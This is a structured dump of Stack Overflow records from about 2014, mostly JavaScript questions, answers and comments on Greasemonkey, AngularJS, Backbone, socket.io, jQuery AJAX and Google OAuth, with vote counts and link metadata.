has body: Below greasemonkey script highlight defined domains. Ex: my search query is book and my domain is amazon. If there is more than zero results for this domain, it highlights that div. But it is not working. Because it designed for old Google design about four years ago. I try to change something but nothing. Script source : Locate Multiple Domains Highlights // ==UserScript== // @name Locate Multiple Domains in Search Results // @filename multiple-domains.user.js // @author Alex Hall // @homepage http://www.devseo.co.uk // @namespace http://www.devseo.co.uk/blog/view/greasemonkey-script // @version 1.0 // @description Locate specific domains easily within the results of a Google, Yahoo!, or Bing Search // @include http://www.google.com/search* // @include http://google.com/search* // @include http://www.google.com/#* // @include http://google.com/#* // ==/UserScript== //***********************BEGIN CONFIGURATION**********************// // Set the array of sites you wish to locate (without www is best) - syntax [['mydomain.com', '#color'], ['mydomain2.com', '#color']]; // Set the color variable to the background color you wish to use to highlight your domain (defaults to light red) var sites = [ ['domainxyz.com', '#FFCC66'], ['www.domainxyz.com', '#C2D9EF'], ]; var siteLen = sites.length; var numNot = 0; //************************END CONFIGURATION***********************// //*******************DO NOT EDIT PAST THIS LINE*******************// //****************UNLESS YOU KNOW WHAT YOU'RE DOING***************// setTimeout(startItOff, 1000); function startItOff() { var all_links = document.getElementsByTagName('cite'); var linkLen = all_links.length; if (location.hostname.indexOf("google.com")!=-1) { for (i=0; i&lt;linkLen; i++) { if (all_links[i].className!='l') { continue; } var href = all_links[i].value; if(all_links[i].parentNode.tagName.toLowerCase() === 'div'){ numNot++; } } for (i=0; i&lt;linkLen; i++) { if (all_links[i].className!='l') { continue; } var href = all_l…
downvote count: 1
type: Question
has title: How to highlight specific domain in Google search results?
tagged with: greasemonkey
tagged with: javascript
has comment: http://stackoverflow.com/comment/40276162
tagged with: firefox-addon
answer count: 1
has answer: http://stackoverflow.com/a/25794456
favorite count: 0
has comment: http://stackoverflow.com/comment/40275977
has comment: http://stackoverflow.com/comment/40410531

http://stackoverflow.com/comment/40491410
comment on: http://stackoverflow.com/a/25858647
type: Comment
type: AnswerComment
has text: Argh, I forgot that jQueryUI removes dialogs from their original location in the HTML, so they are no longer inside of their parent. See edit.
score: 0

http://stackoverflow.com/comment/40252681
has text: I cant understand Can you give me a solution,, am using inline editing for edit function.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25743345

http://stackoverflow.com/comment/40625261
type: Comment
has text: Just implemented your solution. Worked perfectly! To be fair this is a far more accurate answer to my question. Thanks fang! Sorry phillipp
type: AnswerComment
comment on: http://stackoverflow.com/a/25729459
score: 0

http://stackoverflow.com/q/25857928
upvote count: 1
has body: I have run into a bit of a problem when sorting an array of strings by the length of each string. So, lets suppose I have an array arr = ["i","suck","at","programming","jk","sorta"] After doing some research it looks like the proper way to do this is by doing this arr.sort(function sorting(a, b){ return b.length - a.length; }) I am very confused how this is processed. Can anyone walk me through how this accomplishes the task of sorting an array of strings by length? This function seems to be just return -1, 0,1 based on every two possible pairs of elements in the array? Please help.
type: Question
has comment: http://stackoverflow.com/comment/40461190
has title: Sorting an array of strings in Javascript
tagged with: arrays
tagged with: javascript
tagged with: sorting
has answer: http://stackoverflow.com/a/25858049
linked to: http://stackoverflow.com/q/234683
downvote count: 4
answer count: 3
has comment: http://stackoverflow.com/comment/40461111
favorite count: 0
has answer: http://stackoverflow.com/a/25858096
has comment: http://stackoverflow.com/comment/40461124
type: UnansweredQuestion
score: -3
has answer: http://stackoverflow.com/a/25858080
has comment: http://stackoverflow.com/comment/40461218

http://stackoverflow.com/q/25849517
has comment: http://stackoverflow.com/comment/40460131
has comment: http://stackoverflow.com/comment/40448916
tagged with: sqlite
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40448991
favorite count: 0
has body: function init() { db = window.sqlitePlugin.openDatabase({name: "mydb"}); db.transaction(function(tx) { alert("in transaction"); tx.executeSql('select key, value from settings',[],function(tx,rs) { alert("success"); keepGoing(); }, function() { alert("error"); }); } } If I start the app or the first time after I deploy it, it works well (In this example, 'in transaction' and 'success' get alerted. However, when I leave the app (via navigator.app.exitApp(); ) and come back (without having closed it in the task manager), the transaction does not even start. Which means, 'in transaction' is called, but neither 'success' nor 'error'. I have two solutions in mind. Either I force the app to get shut down whenever I leave it (how do I do that?) or I expect that the app gets stuck with some transactions that did not end properly, so I try to close them whenever I leave the app (and how do I do that?)
has comment: http://stackoverflow.com/comment/52538738
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/52544670
tagged with: android
has title: Cordova App fails when started second time - gets stuck on db.transaction
tagged with: cordova
answer count: 0
has comment: http://stackoverflow.com/comment/40448856
upvote count: 1
type: Question
score: 1

http://stackoverflow.com/a/25725364
has body: With jQuery: $.ajax({url:"your url", timeout: 1000*60*10, success:function(result){ //handle response here... }}); Change "your url" to your url. This code will make an ajax call to your server and when it responds, it will enter the success: function with the result. The timeout of 1000*60*10 is in milliseconds and evaluates to 10 minutes.
answers question: http://stackoverflow.com/q/25725227
has comment: http://stackoverflow.com/comment/40219304
score: 0
type: Answer

http://stackoverflow.com/q/25814379
answer count: 2
tagged with: jquery
has comment: http://stackoverflow.com/comment/40381565
has comment: http://stackoverflow.com/comment/40382628
tagged with: backbone.js
has comment: http://stackoverflow.com/comment/40381464
has comment: http://stackoverflow.com/comment/40381512
possible better answer: http://stackoverflow.com/a/25816133
accepted answer: http://stackoverflow.com/a/25816288
has comment: http://stackoverflow.com/comment/40383902
type: AnsweredQuestion
has title: Loop through tr element in Backbone $el
has comment: http://stackoverflow.com/comment/40382234
has answer: http://stackoverflow.com/a/25816288
type: Question
has comment: http://stackoverflow.com/comment/40381583
has body: I've set the el in my view to be a specific table, and now I'd like to loop through that table, row by row, and update the second and third td elements. Below is my most recent attempt (the updateCalc method is where I'm working). First time using Backbone so any words of wisdom are more than welcome. var IndexedView = Backbone.View.extend({ initialize: function (args) { _.bindAll(this, 'updateCalc') _.bindAll(this, 'updateAllocation'); //Bind modle change event to view event handler this.model.bind('change:purchasePayment', this.updateAllocation); this.model.bind('change:slidervalue', this.updateAllocation); this.model.bind('change:purchasePayment', this.updateCalc); this.model.bind('change:slidervalue', this.updateCalc); this.model.bind('change:fixedRate', this.updateCalc); this.model.bind('change:returnSpx', this.updateCalc); }, el: $('#IndexedTable'), //TRYING TO LOOP THROUGH TABLE HERE updateCalc: function () { //Illust = Allocation * (1 + spx)^cap hit //Guar = Allocation * (1 + 0)^cap hit var spx = this.model.get('returnSpx'); this.$el.find('tbody tr').each(function (key, row) { console.log(row); var capHit = 1;//row.find('td.capHit'); var illust = this.$el.find('td#allocation').text() * Math.pow((1 + spx), capHit); var guar = this.$el.find('td#allocation').text() * Math.pow(1, capHit); this.children().eq(1).text(value) this.children().eq(2).text(value) }); }, updateAllocation: function () { var value = this.model.get('purchasePayment') * $('#sliderVal').val(); this.$el.find('td#allocation').text(value); } }); HTML Indexed Allocation Cap hits: Illust Guar 0 1 2 Here is the error message I'm getting
has comment: http://stackoverflow.com/comment/40382352
tagged with: javascript
has answer: http://stackoverflow.com/a/25816133
score: 0

http://stackoverflow.com/a/25769461
type: Answer
has body: Because $('input[type="text"].required, textarea.required, select.required') in your code currently return an empty array, so each function is not called. This is because you are looking for dom elements with a css class "required" that you doesn't have.
has comment: http://stackoverflow.com/comment/40340604
accepted answer of: http://stackoverflow.com/q/25769057
answers question: http://stackoverflow.com/q/25769057
score: 0
type: AcceptedAnswer

http://stackoverflow.com/a/25728098
has comment: http://stackoverflow.com/comment/40223101
answers question: http://stackoverflow.com/q/25727577
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40223294
accepted answer of: http://stackoverflow.com/q/25727577
score: 1
has body: Put your string formatting code in a function where you can use if statements. document.getElementById("target").value = formatValue(); function formatValue(){ var formattedString = Constant; if(name){ formattedString += " " + name; } if(age){ formattedString += " " + age: } if(height){ formattedString += " " + height: } return formattedString; } If you prefer not to have a named function, use a self-invoking anonymous function: document.getElementById("target").value = (function(){ var formattedString = Constant; if(name){ formattedString += " " + name; } if(age){ formattedString += " " + age: } if(height){ formattedString += " " + height: } return formattedString; })();
upvote count: 1

http://stackoverflow.com/a/25764505
downvote count: 0
type: Answer
score: 1
upvote count: 1
has body: float:right hasn't any affect when position is fixed. So when you set your element to position fixed you have to set right:0px. In the end you have to change your margin-top every time you change elements position from fixed to relative in to 0px and 100px respectively Try: $(window).scroll(function (e) { $el = $('.nav'); if ($(this).scrollTop() &gt; 100 &amp;&amp; $el.css('position') != 'fixed') { $('.nav').css({ 'position': 'fixed', 'top': '0','right':'0','margin-top':'0px'}); } if ($(this).scrollTop() &lt; 100 &amp;&amp; $el.css('position') == 'fixed') { $('.nav').css({ 'position': 'relative','margin-top':'100px'}); } }); DEMO
answers question: http://stackoverflow.com/q/25764375

http://stackoverflow.com/q/25847570
has comment: http://stackoverflow.com/comment/40441944
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25847736
favorite count: 0
has comment: http://stackoverflow.com/comment/40441870
has body: I have few identical anchor tags. But one of them is not working as expected. I have hosted the content here Any help would be appreciated Edit - Added code to question: 111 111 111 111 111 the spaces actually represent some kind of non-printing character that ended up being the root of the op's issue.
has comment: http://stackoverflow.com/comment/40441821
downvote count: 6
has comment: http://stackoverflow.com/comment/40441964
type: AnsweredQuestion
has title: onclick not working for few anchor tags
has comment: http://stackoverflow.com/comment/40441933
upvote count: 1
type: Question
score: -5
has answer: http://stackoverflow.com/a/25847736
has comment: http://stackoverflow.com/comment/40441865
has comment: http://stackoverflow.com/comment/40441890

http://stackoverflow.com/q/25790349
has answer: http://stackoverflow.com/a/25811796
has comment: http://stackoverflow.com/comment/40338463
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25791250
downvote count: 0
has comment: http://stackoverflow.com/comment/40339263
favorite count: 0
tagged with: angularjs
has body: I've just started using AngularJS for a new app I'm looking at putting together but I've run into a problem when using routes and views. I've stripped this example down to the bare minimum but the issue remains. All this example is doing is hitting the server and returning the index.html page, which then sources Angular etc. index.html main.js (function() { var app = angular.module('main', ['ngRoute', 'test']); app.config(['$routeProvider', '$locationProvider', function($routeProvider, $locationProvider) { $routeProvider .when('/test', { templateUrl: 'html/test.html', controller: 'TestCtrl' }) .otherwise({ redirectTo: '/test' }); $locationProvider.html5Mode(true); }]); })(); test.js (function() { var app = angular.module('test', []); // get hierarchy app.controller('TestCtrl', ['$scope', function($scope) { alert('here'); }]); })(); test.html FooBar! The alert gets fired infinitely but I just don't know why. I've seen other examples where ng-view and routing appear to be used exactly the same way, so I'm not sure what I'm doing wrong...
has title: AngularJS infinite loop with ng-view
has answer: http://stackoverflow.com/a/25792295
answer count: 4
score: 2
has answer: http://stackoverflow.com/a/25791250
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/36244213
upvote count: 2
possible better answer: http://stackoverflow.com/a/36244213
type: Question
tagged with: infinite-loop

http://stackoverflow.com/a/25728645
has comment: http://stackoverflow.com/comment/40224581
type: AcceptedAnswer
downvote count: 0
has body: The error generated is pretty self explanatory: Error: [$compile:tplrt] Template for directive 'newDir' must have exactly one root element. pop.html Essentially you need to make sure your template has one root node. You've appended a br tag on the end. Change: {{str.name}} {{str.category}} To: {{str.name}} {{str.category}} Furthermore, Your template is referencing str however the scope variable is data. Change your template: {{data.name}} {{data.category}} http://plnkr.co/edit/eUgmU45quL0VoNLY19ek?p=preview
has comment: http://stackoverflow.com/comment/40224092
upvote count: 2
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/40224313
accepted answer of: http://stackoverflow.com/q/25728534
answers question: http://stackoverflow.com/q/25728534
has comment: http://stackoverflow.com/comment/40224067
has comment: http://stackoverflow.com/comment/40224200
has comment: http://stackoverflow.com/comment/40224148
has comment: http://stackoverflow.com/comment/40224129

http://stackoverflow.com/a/25750894
has body: The workaround suggested by epascarello, using addEventListener in place of onclick events, seems to work. I still can't get the alert window in my example to work for some reason (against Sites policy?), but the actual functionality I wanted, setting the innerHTML of a paragraph object, is working properly. This appears to be an issue between Google Sites and Chrome v.37. Hopefully it is resolved in the near future. Here is an example of equivalent code that is working correctly. Check Answer 1 Thanks to those who helped. EDIT: Forgot to actually answer this years ago and was looking back through old questions for unanswered things. Cleaning it up.
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25736009
answers question: http://stackoverflow.com/q/25736009
upvote count: 2
type: AcceptedAnswer
type: Answer
score: 2

http://stackoverflow.com/comment/40217607
type: QuestionComment
score: 0
has text: @Noypi my problem is that the model value does not gets populated
type: Comment
comment on: http://stackoverflow.com/q/25725081

http://stackoverflow.com/comment/40410058
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25829991
score: 0
has text: @Nivedita I already asked that in my first comment. He answered that he doesn't know how to do that.

http://stackoverflow.com/a/25819527
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40391445
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25819427
accepted answer of: http://stackoverflow.com/q/25819427
has comment: http://stackoverflow.com/comment/40391479
has body: That's because you are reading childElementCount which is count of childNodes that have nodeType of 1 and you are reading all the childNodes in the loop which also returns the textNodes that have nodeType of 3. You should use the children property in the loop instead of the childNodes.
upvote count: 1

http://stackoverflow.com/q/25770027
possible better answer: http://stackoverflow.com/a/25770173
has comment: http://stackoverflow.com/comment/40300246
has answer: http://stackoverflow.com/a/25770182
answer count: 4
has answer: http://stackoverflow.com/a/25770076
accepted answer: http://stackoverflow.com/a/25770076
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25770173
has body: Assume &lt;html&gt; &lt;head&gt;....&lt;/head&gt; &lt;body&gt; . . // Occurrences are here . &lt;/body&gt; &lt;/html&gt; I do $(function() { $('html').html() = $('html').html().replace(/strToFind/g,'somethingElse'); }); in head, but it does't work. How I do to find and replace all occurrence of string in html document itself (not store in variable)? Thanks
type: Question
tagged with: javascript
tagged with: jquery
has title: Find and replace occurrence of string in whole html itself
score: 0
has comment: http://stackoverflow.com/comment/40300848
has answer: http://stackoverflow.com/a/25770311
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40261630
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25732210
has text: Just a note on your motivation: currently when using bracket notation, the compiler doesn't type check that property. That should be fixed soon though.

http://stackoverflow.com/comment/40387038
score: 0
has text: Read the jQuery documentation on selectors, this question indicates you haven't, use Stackoverflow after you've acquired the basics http://api.jquery.com/category/selectors/
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25817135

http://stackoverflow.com/a/25823989
type: Answer
answers question: http://stackoverflow.com/q/25823868
score: 0
has body: problem solved function validateForm() { var y = 0; $$('#register .inputtext').each(function(item) { var my_class = ".mbm ."+item.id+" .sp_9vUokIDmpP8"; var first_class = ".mbm #"+item.id+""; if (item.value==null || item.value=="") { y++; $$(first_class).invoke('addClassName', 'kl345'); $$(my_class).invoke('setStyle', { display:'block' }); }else{ $$(first_class).invoke('addClassName', 'kl345'); $$(my_class).invoke('setStyle', { display:'none' }); } }) alert(y); }

http://stackoverflow.com/q/25758327
downvote count: 0
score: 1
tagged with: asp.net
favorite count: 0
tagged with: angularjs
type: AnsweredQuestion
upvote count: 1
type: Question
answer count: 2
tagged with: angular-routing
has body: I have two layout first for visitor second for management Rout: app.config(['$routeProvider', function ( $routeProvider) { $routeProvider .when('/', { templateUrl: 'Home/Main', }) .when('/Manage', { templateUrl: 'Manage/Index', caseInsensitiveMatch: true }) .when('/Manage/Item/:itemId?', { templateUrl: '/Item/Index/',caseInsensitiveMatch: true}); } ]); First ng-view in home/index and second ng-view in manage/index but /Item not loaded in manage ng-view
tagged with: asp.net-mvc
possible better answer: http://stackoverflow.com/a/32143887
tagged with: javascript
has answer: http://stackoverflow.com/a/32143887
has answer: http://stackoverflow.com/a/25766013
has title: multiple layout with angularjs in asp.net mvc
accepted answer: http://stackoverflow.com/a/25766013

http://stackoverflow.com/q/25736051
type: AnsweredQuestion
score: 1
tagged with: treeview
upvote count: 1
type: Question
has title: How to disable/remove click event on asp.net tree view parent nodes?
tagged with: javascript
has answer: http://stackoverflow.com/a/25736569
accepted answer: http://stackoverflow.com/a/25736569
answer count: 1
downvote count: 0
tagged with: asp.net
favorite count: 0
has body: I have a tree view in my aspx page with one level of child nodes. I want to disable the click on just the parent node of the tree view and its child nodes still be clickable. How can I disable click event just on the parent node. Is there a way to do this in c# or in java script?

http://stackoverflow.com/a/25869012
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25863505
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25863505
upvote count: 2
has body: I found how to resolve, may be it will help to someone: I'm just taking requirejs that I'm using, and change inside it all "require" and "define" on "requireMy" and "defineMy" - and use it in my code.

http://stackoverflow.com/comment/40272004
score: 0
type: Comment
has text: Assigning directly to `location` works too. The main issue is... just put a URL! `location = http://google.com/` - note, scheme is required!
type: AnswerComment
comment on: http://stackoverflow.com/a/25754064

http://stackoverflow.com/comment/40435967
comment on: http://stackoverflow.com/q/25843397
score: 0
has text: @IsmaelMiguel it's just a **starting point**. There is not only `window` object. For example `console` and `document` are also accessible directly (bypassing our _fake_ `window` declaration). This opens to cookies and DOM manipulation (for example). IMO central point is that in this way he can help users to avoid mistakes, security can't be enforced with `eval()`. Viable if user type some code and executes it in his own window, to absolutely avoid if code _may_ be executed also by someone else on another machine.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40331006
type: QuestionComment
comment on: http://stackoverflow.com/q/25787166
has text: Many sites these days will only begin rendering off-screen images when a user scrolls past a certain point, or even clicks a "more" button or some such. Alternatively, you could use an AJAX call to load them asychronously.
score: 0
type: Comment

http://stackoverflow.com/comment/44820817
type: AnswerComment
has text: I believe that Meteor timing may be trying to load the variable into the template before the variable is defined, so guarding will at least suppress the error and keep your console uncluttered. In the meantime, Meteor's reactive nature will eventually load the variable and populate the template correctly.
comment on: http://stackoverflow.com/a/25758821
type: Comment
score: 0

http://stackoverflow.com/comment/40394423
type: QuestionComment
comment on: http://stackoverflow.com/q/25820974
has text: @Quentin As I mentioned, I am just a javascript newbie, so please excuse my ignorance.
score: 0
type: Comment

http://stackoverflow.com/comment/40400214
type: QuestionComment
comment on: http://stackoverflow.com/q/25823613
has text: need to bind `badge=""` to scope variable that is bound to `speciesService.data` or gets updated by an event broadcast
score: 0
type: Comment

http://stackoverflow.com/comment/40245515
type: QuestionComment
has text: sorry not good in english, I'm searching some answer for my problem and I tried to ask a question here
comment on: http://stackoverflow.com/q/25739718
score: 0
type: Comment

http://stackoverflow.com/comment/40301624
type: Comment
type: QuestionComment
has text: How exactly would you access the session or change their password with that access, it's basically the same access any user has from the console, are you saying you can access server sessions from the console, and if so, please tell me how ?
comment on: http://stackoverflow.com/q/25770635
score: 0

http://stackoverflow.com/q/25797377
has answer: http://stackoverflow.com/a/32409532
upvote count: 2
type: UnansweredQuestion
has body: I have this code: var ss = io('/secure', { query: 'token='+string }); It used to pass the query parameter to the server that was accessible as socket.handshake.query with this code: io.of('/secure').use(function(socket, next){ // *** console.log( socket.handshake.query ); // validate token next(); }); but now it is not working and the output of the console.log does not include the token property: { EIO: '3', transport: 'polling', t: '1410465157747-0' } I also tried changing my syntax to syntax that I have seen elsewhere online... var ss = io('/secure', { query: { 'token': string } }); and this does not add the query property to socket.handshake.query either... Please help! btw I am using socket.io 1.1.0
has comment: http://stackoverflow.com/comment/40350993
tagged with: node.js
has comment: http://stackoverflow.com/comment/42050113
score: 2
has comment: http://stackoverflow.com/comment/40351633
tagged with: socket.io
has comment: http://stackoverflow.com/comment/40351313
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40351160
has title: socket.io query parameter not working

http://stackoverflow.com/q/25866666
has title: Why two ajax request is called with following JS code?
tagged with: jquery
tagged with: ajax
has comment: http://stackoverflow.com/comment/40477411
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40477671
has answer: http://stackoverflow.com/a/25867055
has comment: http://stackoverflow.com/comment/40477330
tagged with: long-polling
has comment: http://stackoverflow.com/comment/40477224
type: Question
has comment: http://stackoverflow.com/comment/40477157
tagged with: javascript
has body: I have following code to pull data from server. I want to call it on document.ready(). And I expect first request is made to server, get response and second request is made and so on. But I see in Firebug, there are two request to server is being made at initial page load. I am not sure why two request. Here is my code. ;var EVENTS = {}; ;(function($) { EVENTS.Collector = { events: [], getEventsData: function() { var postData = { 'jsonrpc': '2.0', 'id': RPC.callid(), 'method': "events.getNewOrUpdated", 'params': {}, 'auth': RPC.auth() }; var events_request = $.ajax({ url: RPC.rpcurl(), contentType: 'application/json-rpc', type: "POST", data: JSON.stringify(postData), timeout: 30000 }); events_request.done(function(results) { //console.log("Info " + results); if (results.result.result !== null) { if (EVENTS.Collector.events.length !== 0) { alert(EVENTS.Collector.events.length); } else { alert(EVENTS.Collector.events.length); } } }); events_request.fail(function(results) { //console.error("Error " + results); $("Error Message").insertAfter('.error'); }); events_request.always($.proxy(this.getEventsData, this)); } }; })(jQuery); EVENTS.Collector.getEventsData(); //function call Thanks in advance
score: 0
has answer: http://stackoverflow.com/a/25866729
answer count: 2
has comment: http://stackoverflow.com/comment/40477296

http://stackoverflow.com/q/25844326
downvote count: 0
tagged with: javascript
favorite count: 0
has body: I have the below angularJS code to parse the JSON in .js file: $scope.updateAssociations = function() { $scope.productModel = angular.toJson($rootScope.relationShipModel); alert($scope.productModel); var requestObj = { "channelCode": $rootScope.userSelectedChannel, "modelTypeName" : $rootScope.selectedHierarchy.hier_name, "relationShips" : $scope.productModel, "associations" : $scope.selection, "relID" : $routeParams.relID, "prdCmptId" : $routeParams.prdCmpntId, "associationsModelTypeName" : $rootScope.associationsModelTypeName }; var result = $http.post('updateAssociations.do', requestObj); result.success( function(response) { } }); I am not getting the "relationShips" value in the Java class: ObjectMapper mapper=new ObjectMapper(); JsonNode node = mapper.readTree(requestBody); RelationshipType relations = mapper.readValue(node.get("relationShips"), RelationshipType.class); While the code try to retrieve value from mapper, I get the below exception: org.codehaus.jackson.map.JsonMappingException: Can not instantiate value of type [simple type, class com.cpc.as.bean.RelationshipType] from JSON String; no single-String constructor/factory method. My relationShips JSON is: [ { "chnl_code":"BMG Catalog", "rel_id":"59", "rel_type_name":"product collateral assignment", "entity_type_name":"generic feature", "entity_role":"parent", "related_to_entity":"collateral", "related_to_crdnlty":"m", "related_to_role":"child", "dsply_name":"Collateral", "hier_flag":null, "related_to_object_type":"product", "sub_role":null, "atrbt_ind":"n", "dpndnt_flag":"n", "rel_ind":"n", "dsply_model_type_name":null, "sub_dsply_name":null, "gen_new_flag":"y", "allowDefaultSearchFlag":false, "custom_price_type":null, "rls_type":null, "gradeMatrixRelated":false, "releaseDriven":false }, { "chnl_code":"BMG Catalog", "rel_id":"55", "rel_type_name":"feature family assignment", "entity_type_name":"generic feature", "entity_role":"parent", "related_to_entity":"feature family", "related_to_crdnlty":"m", "r…
tagged with: angularjs
has title: Can not instantiate value of type [simple type, class com.RelationshipType] from JSON String; no single-String constructor/factory method
answer count: 0
type: UnansweredQuestion
upvote count: 1
duplicate of: http://stackoverflow.com/q/11127376
type: Question
score: 1
tagged with: java
tagged with: http://stackoverflow.com/tag/json
linked to: http://stackoverflow.com/q/11127376

http://stackoverflow.com/comment/40418331
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25834460
has text: It's alright TJ. There are answers below. Thanks.
score: 0

http://stackoverflow.com/a/25827717
type: Answer
has body: Do you really need the first click or do you just want to know when the user selected their file? Otherwise you could check out onchange instead of onclick. You can create a global variable / boolean that you switch on and off when the user clicks the button, if the user then clicks the button again you can check if the boolean is false. Put var hasUploaderBeenTriggered = false; at the very top of your javascript and then add hasUploaderBeenTriggered = true; after clearInterval(interval); like so: var hasUploaderBeenTriggered = false; var interval = setInterval(function () { if(hasUploaderBeenTriggered === false) { // not sure how to do this part $('input[name=uploader]').trigger('click'); clearInterval(interval); hasUploaderBeenTriggered = true; } }, 50);
downvote count: 1
has comment: http://stackoverflow.com/comment/40405892
upvote count: 0
has comment: http://stackoverflow.com/comment/40405941
answers question: http://stackoverflow.com/q/25827702
score: -1

http://stackoverflow.com/q/25842331
has body: I'm making knockout js models. Ideally I would like to have subviews for each page. The model would look something like this: function viewModel() { var self = this; self.people = ko.observableArray([{"name":"Alice", parent:"Bill"},{"name":"Bill":"parent":"Candy"},{"name":"Candy","parent":""}]); function kidsModel() { var self = this; self.kids = ko.utils.arrayFilter(people, function(person) { return person.parent != ""; }); } function parentsModel() { var self = this; self.parents = ko.utils.arrayFilter( ko.utils.arrayMap(people, function(person){ return person.parent; }) , function(person) { return person.parent != ""; }); } } The key components are that I can segment the code with subviews and share data that is filtered through the root view. I have found plenty of info on setting things up in knockout with nice subviews but not about filtering data between them in a way that leverages knockout.
score: 0
has comment: http://stackoverflow.com/comment/40436027
accepted answer: http://stackoverflow.com/a/25855716
has comment: http://stackoverflow.com/comment/40456807
has title: knockout js nested models with inherited data
tagged with: coding-style
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25855716
tagged with: knockout.js
has comment: http://stackoverflow.com/comment/40452602
has comment: http://stackoverflow.com/comment/40454241
answer count: 1
has comment: http://stackoverflow.com/comment/40453219
tagged with: javascript

http://stackoverflow.com/comment/40211328
comment on: http://stackoverflow.com/q/25721762
type: Comment
type: QuestionComment
has text: Great. Not as obvious as I thought - I'll keep working on the tutorials :)
score: 0

ember.js
tags question: http://stackoverflow.com/q/25737222
tags question: http://stackoverflow.com/q/25795970
tags question: http://stackoverflow.com/q/25837273
tags question: http://stackoverflow.com/q/25767885
tags question: http://stackoverflow.com/q/25730212
tags question: http://stackoverflow.com/q/25732903
tags question: http://stackoverflow.com/q/25723667
tags question: http://stackoverflow.com/q/25751528
tags question: http://stackoverflow.com/q/25727050
tags question: http://stackoverflow.com/q/25805631
tags question: http://stackoverflow.com/q/25802866
tags question: http://stackoverflow.com/q/25817107
tags question: http://stackoverflow.com/q/25864431
tags question: http://stackoverflow.com/q/25735022
tags question: http://stackoverflow.com/q/25805566
tags question: http://stackoverflow.com/q/25734639
tags question: http://stackoverflow.com/q/25838185
type: Tag
tags question: http://stackoverflow.com/q/25856039
tag name: ember.js
tags question: http://stackoverflow.com/q/25758144
tags question: http://stackoverflow.com/q/25779770
tags question: http://stackoverflow.com/q/25790725
tags question: http://stackoverflow.com/q/25755168
tags question: http://stackoverflow.com/q/25760086
tags question: http://stackoverflow.com/q/25782468
tags question: http://stackoverflow.com/q/25778043
tags question: http://stackoverflow.com/q/25714000
tags question: http://stackoverflow.com/q/25780095
tags question: http://stackoverflow.com/q/25717803
tags question: http://stackoverflow.com/q/25812209
tags question: http://stackoverflow.com/q/25813688
tags question: http://stackoverflow.com/q/25863237
tags question: http://stackoverflow.com/q/25748891
tags question: http://stackoverflow.com/q/25723907
tags question: http://stackoverflow.com/q/25718855
tags question: http://stackoverflow.com/q/25753564
tags question: http://stackoverflow.com/q/25841918
tags question: http://stackoverflow.com/q/25833826
tags question: http://stackoverflow.com/q/25868153
tags question: http://stackoverflow.com/q/25745571
tags question: http://stackoverflow.com/q/25774035
tags question: http://stackoverflow.com/q/25862111
tags question: http://stackoverflow.com/q/25814796
tags question: http://stackoverflow.com/q/25788955

http://stackoverflow.com/q/25865280
score: 1
type: Question
has answer: http://stackoverflow.com/a/25865398
upvote count: 1
answer count: 1
tagged with: javascript
favorite count: 0
tagged with: ajax
tagged with: google-plus
has body: I searched hours for a working solution to get google plus button count via js call. this is my solution:
downvote count: 0
type: UnansweredQuestion
has title: How to get google plus button count via AJAX call
linked to: http://stackoverflow.com/q/21524077

http://stackoverflow.com/q/25716158
favorite count: 0
has comment: http://stackoverflow.com/comment/40201021
accepted answer: http://stackoverflow.com/a/25716231
has body: Is there a way to pass the value attribute from HTML side to JavaScript function via onclick event? html/php echo '&lt;a href="#" class="ListOfStuff" value="' . $varVal . '" onclick="doFunction(this.value)"&gt;&lt;/a&gt;'; javascript &lt;script&gt; doFunction(value){ alert(value); } &lt;/script this.value is undefined. This.id is the way I've handled it in the past, but now that i am dynamically writing a list with classnames, I don't quite understand how to pass the value from the HTML. This = [object OBJECT] and this.value is undefined. I can get the value if i use ID but not class. what am i doing wrong?
has answer: http://stackoverflow.com/a/25716318
tagged with: php
has title: Pass the value attribute data from HTML side to JavaScript function via onclick event
has comment: http://stackoverflow.com/comment/40201039
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25716231
downvote count: 0
has comment: http://stackoverflow.com/comment/40200919
score: 1
type: Question
tagged with: function
possible better answer: http://stackoverflow.com/a/25716318
tagged with: javascript
answer count: 2
upvote count: 1
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40332592
type: QuestionComment
score: 0
has text: Thank you for your answer. I added theses listeners but I don't find what object or function I could use to obtain the same result than the first exemple with a marker on my first post. In your link, the function is changing the style of the features.
comment on: http://stackoverflow.com/q/25787502
type: Comment

http://stackoverflow.com/q/25870535
tagged with: google-api
has body: I want to import contacts of a Gmail user through the Google API. I have the following: Use Client secret and key to obtain the authorized url. This is the url which the user visits to allow permission for my app. The authorized url redirects to the redirect uri specified in the App settings. I have a query parameter code in the url and I am guessing this is the Authorized code that the docs say here. The problem: I want to exchange this code to obtain the access token and the refresh token through javascript if possible. But I can't see any docs for this part in javascript. In my server side I am doing this to obtain the authorized url: token = gdata.gauth.OAuth2Token(client_id=settings.GMAIL_CLIENT_ID, client_secret=settings.GMAIL_API_KEY, scope=scope, user_agent=user_agent) auth_url = token.generate_authorize_url(redirect_uri=redirect_uri) and then redirecting the user to auth_url. Now once the user is allowing the requested permissions they are redirected back to my site with the query parameter code. I want to use javascript from here to get the access token. The other option is to get the access token in the server side once the user is redirected to my site and return it to him along with the response but I dont really want to do this.
